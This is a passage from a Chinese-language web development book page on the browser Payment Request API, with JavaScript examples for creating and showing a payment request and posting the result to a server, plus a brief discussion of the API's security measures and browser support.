punctuation\">{</span>\n    requestPayerEmail<span class=\"token punctuation\">:</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">,</span>\n    requestPayerName<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n    requestPayerPhone<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n    requestShipping<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">PaymentRequest</span><span class=\"token punctuation\">(</span>methodData<span class=\"token punctuation\">,</span> details<span class=\"token punctuation\">,</span> options<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\"><a name=\"&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\" class=\"plugin-anchor\" href=\"#&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;</h3>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">show</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> <span class=\"token function\">createPaymentRequest</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  request<span class=\"token punctuation\">.</span><span class=\"token function\">show</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">paymentResponse</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">handle</span><span class=\"token punctuation\">(</span>paymentResponse<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x662F;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#x7684;&#xFF0C;&#x53EA;&#x8981;&#x8C03;&#x7528; PaymentRequest &#x7684; show &#x65B9;&#x6CD5;&#x5373;&#x53EF;&#x3002;&#x53E6;&#x5916;&#x8FD8;&#x6709;&#x4E2A; abort &#x65B9;&#x6CD5;&#xFF0C;&#x8FD9;&#x662F;&#x7528;&#x6765;&#x4E3B;&#x52A8;&#x53D6;&#x6D88; PaymentRequest &#xFF0C;&#x5176;&#x76EE;&#x6807;&#x4F7F;&#x7528;&#x573A;&#x666F;&#x53EF;&#x4EE5;&#x662F;&#x79D2;&#x6740;&#x6D3B;&#x52A8;&#x6216;&#x5546;&#x54C1;&#x552E;&#x7F44;&#x7684;&#x60C5;&#x51B5;&#x3002;&#x53E6;&#x5916;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#x5176;&#x4ED6;&#x65B9;&#x6CD5;&#xFF0C;&#x8FD9;&#x91CC;&#x4E0D;&#x518D;&#x8D58;&#x8FF0;&#x3002;</p>\n<p><img src=\"img/pay_ui.png\" alt=\"&#x5C55;&#x793A;\b&#x652F;&#x4ED8;&#x754C;&#x9762;\"></p>\n<h3 id=\"&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\"><a name=\"&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\" class=\"plugin-anchor\" href=\"#&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;</h3>\n<p>&#x5728;&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x4E4B;&#x540E;&#xFF0C;&#x4E00;&#x822C;&#x662F;&#x7528;&#x6237;&#x586B;&#x5199;&#x4ED8;&#x6B3E;&#x8D26;&#x53F7;&#x4FE1;&#x606F;&#x3002;&#x5982;&#x679C;&#x4E0D;&#x662F;&#x7B2C;&#x4E00;&#x6B21;&#x586B;&#x5199;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x81EA;&#x52A8;&#x586B;&#x5145;&#x4E4B;&#x524D;&#x586B;&#x597D;&#x7684;&#x4FE1;&#x606F;&#x3002;&#x7B80;&#x5355;&#x793A;&#x4F8B;&#x754C;&#x9762;&#x5982;&#x4E0B;&#xFF1A;</p>\n<p><img src=\"img/account_info.png\" alt=\"&#x8F93;&#x5165;&#x8D26;&#x53F7;&#x4FE1;&#x606F;\">\n<img src=\"img/pay_info.png\" alt=\"&#x5C55;&#x793A;&#x8F93;&#x5165;&#x7684;&#x4FE1;&#x606F;\"></p>\n<p>&#x8FD9;&#x4E2A;&#x6B65;&#x9AA4;&#x5C31;&#x662F; Payment Request API &#x63D0;&#x4F9B;&#x7684;&#x98CE;&#x683C;&#x7EDF;&#x4E00;&#x7684;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x6B65;&#x9AA4;&#x4E4B;&#x540E;&#x5C31;&#x662F;&#x7528;&#x6237;&#x786E;&#x8BA4;&#x4ED8;&#x6B3E;&#xFF0C;&#x4E00;&#x65E6;&#x70B9;&#x51FB;&#x4ED8;&#x6B3E;&#x6309;&#x94AE;&#xFF0C;&#x8FD9;&#x64CD;&#x4F5C;&#x5C31;&#x4E0D;&#x53EF;&#x9006;&#x4E86;&#x3002;&#x4E4B;&#x540E;&#x5C31;&#x662F;&#x7B49;&#x5F85;&#x6D4F;&#x89C8;&#x5668;&#x4E0E;&#x8FD0;&#x8425;&#x5546;&#x4E4B;&#x95F4;&#x7684;&#x4EA4;&#x4E92;&#xFF0C;&#x6839;&#x636E;&#x4EA4;&#x4E92;&#x7ED3;&#x679C;&#x5982;&#x4F55;&#xFF0C;&#x6211;&#x4EEC;&#x5206;&#x522B;&#x7ED9;&#x51FA;&#x5E94;&#x7B54;&#x754C;&#x9762;&#x3002;</p>\n<h3 id=\"&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\"><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\" class=\"plugin-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;</h3>\n<p>&#x5728; Payment Request API &#x4E2D;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F5C;&#x4E3A;&#x4E2D;&#x4ECB;&#xFF0C;&#x53EA;&#x662F;&#x6536;&#x96C6;&#x7528;&#x6237;&#x586B;&#x5199;&#x7684;&#x4FE1;&#x606F;&#xFF0C;&#x7136;&#x540E;&#x6309;&#x7167;&#x5546;&#x5BB6;&#x7684;&#x8981;&#x6C42;&#x53D1;&#x9001;&#x5230;&#x6307;&#x5B9A;&#x7684;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x7B49;&#x5F85;&#x4ED6;&#x4EEC;&#x7684;&#x5904;&#x7406;&#xFF0C;&#x5904;&#x7406;&#x5B8C;&#x4E86;&#x4E4B;&#x540E;&#xFF0C;&#x9875;&#x9762;&#x5C31;&#x4F1A;&#x663E;&#x793A;&#x6B63;&#x786E;&#x7684;&#x4FE1;&#x606F;&#x3002;</p>\n<p>&#x8FD9;&#x4E9B;&#x8FC7;&#x7A0B;&#x7B80;&#x5355;&#x6765;&#x8BF4;&#x5C31;&#x662F;&#x4E0A;&#x8FF0;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x4E2D; <code>handle</code> &#x51FD;&#x6570;&#x7684;&#x4F5C;&#x7528;&#x3002;&#x7B80;&#x5355;&#x5199;&#x4E2A;&#x793A;&#x4F8B;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">handle</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">paymentResponse</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> data <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> paymentResponse<span class=\"token punctuation\">.</span>methodName<span class=\"token punctuation\">,</span>\n    details<span class=\"token punctuation\">:</span> paymentResponse<span class=\"token punctuation\">.</span>details\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">let</span> init <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">,</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    credentials<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;include&apos;</span><span class=\"token punctuation\">,</span>\n    headers<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token string\">&apos;content-type&apos;</span><span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;application/json&apos;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/payment&apos;</span><span class=\"token punctuation\">,</span> init<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">.</span>status <span class=\"token operator\">===</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> res<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">throw</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;payment error&apos;</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      paymentResponse<span class=\"token punctuation\">.</span><span class=\"token function\">complete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;success&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      paymentResponse<span class=\"token punctuation\">.</span><span class=\"token function\">complete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fail&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\"><a name=\"payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\" class=\"anchor-navigation-ex-anchor\" href=\"#payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\" class=\"plugin-anchor\" href=\"#payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Payment Request API &#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</h2>\n<p>&#x5BF9;&#x4E8E;&#x652F;&#x4ED8;&#x76F8;&#x5173;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6211;&#x76F8;&#x4FE1;&#x5F88;&#x591A;&#x4EBA;&#x90FD;&#x4F1A;&#x5728;&#x610F;&#x5B89;&#x5168;&#x6027;&#x5982;&#x4F55;&#x3002;&#x5982;&#x679C;&#x652F;&#x4ED8;&#x5B89;&#x5168;&#x4E0D;&#x80FD;&#x5F97;&#x5230;&#x4FDD;&#x969C;&#xFF0C;&#x90A3;&#x4E48;&#x63D0;&#x51FA;&#x8FD9;&#x4E00;&#x7CFB;&#x5217;&#x7684; API &#x5C31;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x5B9E;&#x9645;&#x610F;&#x4E49;&#x3002;</p>\n<p>&#x4E0D;&#x8FC7;&#x7531;&#x4E8E; Payment Request API &#x7684;&#x89C4;&#x8303;&#x8FD8;&#x6CA1;&#x6709;&#x5B8C;&#x5168;&#x786E;&#x5B9A;&#xFF0C;&#x6240;&#x4EE5;&#x76EE;&#x524D;&#x8003;&#x8651;&#x5230;&#x7684;&#x5B89;&#x5168;&#x95EE;&#x9898;&#x53EF;&#x80FD;&#x4E5F;&#x4E0D;&#x662F;&#x5341;&#x5206;&#x5168;&#x9762;&#xFF0C;&#x4F46;&#x4E5F;&#x503C;&#x5F97;&#x4E00;&#x63D0;&#x3002;</p>\n<p>&#x4E0A;&#x6587;&#x63D0;&#x5230;&#x7684; show &#x65B9;&#x6CD5;&#x5C06;&#x4F1A;&#x4E25;&#x683C;&#x5B9A;&#x4E49;&#x4E3A;&#x5728;&#x7528;&#x6237;&#x4EA4;&#x4E92;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x624D;&#x4F1A;&#x88AB;&#x89E6;&#x53D1;&#xFF0C;&#x8FD9;&#x5F88;&#x597D;&#x5730;&#x9632;&#x6B62;&#x4E86;&#x7528;&#x6237;&#x5728;&#x672A;&#x5BDF;&#x89C9;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x88AB;&#x7B2C;&#x4E09;&#x65B9;&#x8C03;&#x8D77;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x3002;&#x53E6;&#x5916; Payment Request API &#x53EA;&#x4F1A;&#x5141;&#x8BB8;&#x5728;&#x5B89;&#x5168;&#x7684;&#x73AF;&#x5883;&#x4E0B;&#x8FD0;&#x884C;&#xFF0C;&#x6BD4;&#x5982; HTTPS&#xFF0C;&#x56E0;&#x4E3A;&#x4E00;&#x4E9B;&#x654F;&#x611F;&#x4FE1;&#x606F;&#x4E00;&#x65E6;&#x662F;&#x660E;&#x6587;&#x4F20;&#x8F93;&#xFF0C;&#x90A3;&#x540E;&#x679C;&#x5C06;&#x4E0D;&#x582A;&#x8BBE;&#x60F3;&#x3002;&#x9488;&#x5BF9;&#x8DE8;&#x57DF;&#x7684;&#x652F;&#x4ED8;&#x8BF7;&#x6C42;&#xFF0C;&#x76F8;&#x5173;&#x89C4;&#x8303;&#x5728;&#x63D0;&#x51FA;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x88AB;&#x8BA8;&#x8BBA;&#x4E86;&#x597D;&#x591A;&#x6B21;&#x3002;&#x7279;&#x522B;&#x662F; <code>iframe</code> &#x6807;&#x7B7E;&#x7ECF;&#x5E38;&#x88AB;&#x5546;&#x5BB6;&#x7528;&#x6765;&#x548C;&#x7B2C;&#x4E09;&#x65B9;&#x652F;&#x4ED8;&#x673A;&#x6784;&#x901A;&#x4FE1;&#xFF0C;&#x6240;&#x4EE5;&#x76EE;&#x524D;&#x7684;&#x6807;&#x51C6;&#x51C6;&#x5907;&#x5728; <code>iframe</code> &#x6807;&#x7B7E;&#x4E0A;&#x589E;&#x52A0;&#x4E00;&#x4E2A;&#x5B57;&#x6BB5; <code>allowpaymentrequest</code> &#x6765;&#x652F;&#x6301;&#x8DE8;&#x57DF;&#x7684;&#x652F;&#x4ED8;&#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x8FD8;&#x6709;&#x4E2A;&#x4EBA;&#x4FE1;&#x606F;&#x7684;&#x4FDD;&#x62A4;&#x5728; Payment Request API &#x7684;&#x89C4;&#x8303;&#x4E2D;&#x4E5F;&#x88AB;&#x63D0;&#x53CA;&#xFF0C;&#x50CF;&#x94F6;&#x884C;&#x5361;&#x4FE1;&#x606F;&#xFF0C;&#x5FEB;&#x9012;&#x4FE1;&#x606F;&#x7B49;&#x4E0D;&#x4F1A;&#x5728;&#x7528;&#x6237;&#x6CA1;&#x6709;&#x611F;&#x77E5;&#x7684;&#x60C5;&#x51B5;&#x88AB;&#x5206;&#x4EAB;&#x51FA;&#x53BB;&#x3002;</p>\n<p>&#x5F53;&#x7136;&#x4E5F;&#x6709;&#x4E00;&#x4E9B;&#x5B89;&#x5168;&#x76F8;&#x5173;&#x7684;&#x95EE;&#x9898;&#x4E00;&#x76F4;&#x5728;&#x88AB;&#x8BA8;&#x8BBA;&#x7740;&#xFF0C;&#x6BD4;&#x5982; <code>iframe</code> &#x6807;&#x7B7E;&#x4E0A;&#x7684; <code>sandbox</code> &#x5C5E;&#x6027;&#x548C; <code>allowpaymentrequest</code> &#x5C5E;&#x6027;&#x540C;&#x65F6;&#x51FA;&#x573A;&#x8BE5;&#x5982;&#x4F55;&#x8868;&#x73B0;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x5728;&#x524D;&#x4E0D;&#x4E45;&#x624D;&#x6709;&#x660E;&#x663E;&#x7684;&#x7ED3;&#x8BBA;&#x3002;<a href=\"https://github.com/w3c/payment-request\" target=\"_blank\">Payment Request &#x7684; GitHub</a> &#x4E00;&#x76F4;&#x90FD;&#x6709;&#x4E0D;&#x9519;&#x7684;&#x6D3B;&#x8DC3;&#x5EA6;&#xFF0C;&#x6211;&#x4EEC;&#x76F8;&#x4FE1;&#x5F88;&#x591A;&#x95EE;&#x9898;&#x5728;&#x4E0D;&#x8FDC;&#x7684;&#x672A;&#x6765;&#x90FD;&#x80FD;&#x88AB;&#x5F88;&#x597D;&#x7684;&#x89E3;&#x51B3;&#x3002;</p>\n<h2 id=\"payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\"><a name=\"payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\" class=\"anchor-navigation-ex-anchor\" href=\"#payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\" class=\"plugin-anchor\" href=\"#payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Payment Request API &#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;</h2>\n<p>&#x6839;&#x636E; caniuse &#x7684;&#x53CD;&#x9988;&#xFF0C;&#x76EE;&#x524D;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x8FD8;&#x6CA1;&#x6709;&#x4E00;&#x4E2A;&#x5B8C;&#x5168;&#x652F;&#x6301; Payment Request API&#xFF0C;&#x4F46;&#x662F;&#x90E8;&#x5206;&#x652F;&#x6301;&#x7684;&#x8303;&#x56F4;&#x5DF2;&#x7ECF;&#x8FBE;&#x5230;&#x4E86; <code>74.74%</code> &#xFF0C;&#x56FD;&#x5185;&#x7684;&#x90E8;&#x5206;&#x652F;&#x6301;&#x7387;&#x4E5F;&#x8FBE;&#x5230;&#x4E86; <code>50.5%</code> (&#x622A;&#x6B62;&#x5230; 2018-11-9 &#x7684;&#x6570;&#x636E;)&#x3002;&#x7531;&#x6B64;&#x53EF;&#x89C1;&#xFF0C;Payment Request API &#x6B63;&#x5728;&#x7A33;&#x6B65;&#x5730;&#x53D1;&#x5C55;&#x4E2D;&#x3002;&#x4E0D;&#x8FC7;&#x5728;&#x6211;&#x8FD0;&#x884C;&#x4E0A;&#x8FF0;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x4E8B;&#x5148;&#x5F00;&#x542F; <code>web-payments</code> &#x529F;&#x80FD;&#xFF0C;&#x6211;&#x7684;&#x8C37;&#x6B4C;&#x6D4F;&#x89C8;&#x5668;&#x7248;&#x672C;&#x662F; 70&#xFF0C;&#x73B0;&#x4EE3;&#x5927;&#x591A;&#x6570;&#x6D4F;&#x89C8;&#x5668;&#x90FD;&#x9ED8;&#x8BA4;&#x6B64;&#x529F;&#x80FD;&#x662F;&#x5173;&#x95ED;&#x7684;&#x3002;</p>\n<p>&#x867D;&#x8BF4; Payment Request API &#x652F;&#x6301;&#x7684;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x662F;&#x633A;&#x591A;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x5927;&#x591A;&#x6570;&#x7B2C;&#x4E09;&#x65B9;&#x652F;&#x4ED8;&#x662F;&#x94F6;&#x884C;&#xFF0C;&#x5176;&#x4ED6;&#x7684;&#x4E00;&#x4E9B;&#x7B2C;&#x4E09;&#x65B9;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x4E5F;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x8DDF;&#x8FDB;&#x3002;&#x652F;&#x4ED8;&#x5B9D;&#x5C31;&#x79EF;&#x6781;&#x62E5;&#x62B1;&#x53D8;&#x5316;&#xFF0C;<a href=\"https://w3c.github.io/webpayments/proposals/Alipay-payment-method.html\" target=\"_blank\">Alipay Payment Method</a> &#x5728;&#x5F88;&#x65E9;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x63D0;&#x51FA;&#x6765;&#x4E86;&#x3002;</p>\n<p>&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;Payment Request API &#x8FD8;&#x662F;&#x5728;&#x6162;&#x6162;&#x5730;&#x53D1;&#x5C55;&#x4E2D;&#xFF0C;&#x6B63;&#x5982; PWA &#x7684;&#x84EC;&#x52C3;&#x53D1;&#x5C55;&#xFF0C;Payment Request API &#x4E5F;&#x6709;&#x4E00;&#x4E2A;&#x7F8E;&#x597D;&#x7684;&#x672A;&#x6765;&#x3002;</p>\n<blockquote>\n<p>&#x53C2;&#x8003;&#x8D44;&#x6599;&#xFF1A;\n<a href=\"https://www.w3.org/TR/payment-request\" target=\"_blank\">CR-payment-request-20180830</a>\n<a href=\"https://developers.google.com/web/fundamentals/payments\" target=\"_blank\">Web Payments Overview from google</a></p>\n</blockquote>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"4-web-push-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 6.4 网络推送\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter07.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第7章 安全\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"6.5 Payment Request API\",\"level\":\"1.7.5\",\"depth\":2,\"next\":{\"title\":\"第7章 安全\",\"level\":\"1.8\",\"depth\":1,\"path\":\"chapter07.md\",\"ref\":\"chapter07.md\",\"articles\":[{\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"level\":\"1.8.1\",\"depth\":2,\"path\":\"chapter07/1-https.md\",\"ref\":\"chapter07/1-https.md\",\"articles\":[]},{\"title\":\"7.2 内容安全策略\",\"level\":\"1.8.2\",\"depth\":2,\"path\":\"chapter07/2-CSP.md\",\"ref\":\"chapter07/2-CSP.md\",\"articles\":[]},{\"title\":\"7.3 同源策略\",\"level\":\"1.8.3\",\"depth\":2,\"path\":\"chapter07/3-policy.md\",\"ref\":\"chapter07/3-policy.md\",\"articles\":[]},{\"title\":\"7.4 典型的安全漏洞\",\"level\":\"1.8.4\",\"depth\":2,\"path\":\"chapter07/4-vulnerability.md\",\"ref\":\"chapter07/4-vulnerability.md\",\"articles\":[]}]},\"previous\":{\"title\":\"6.4 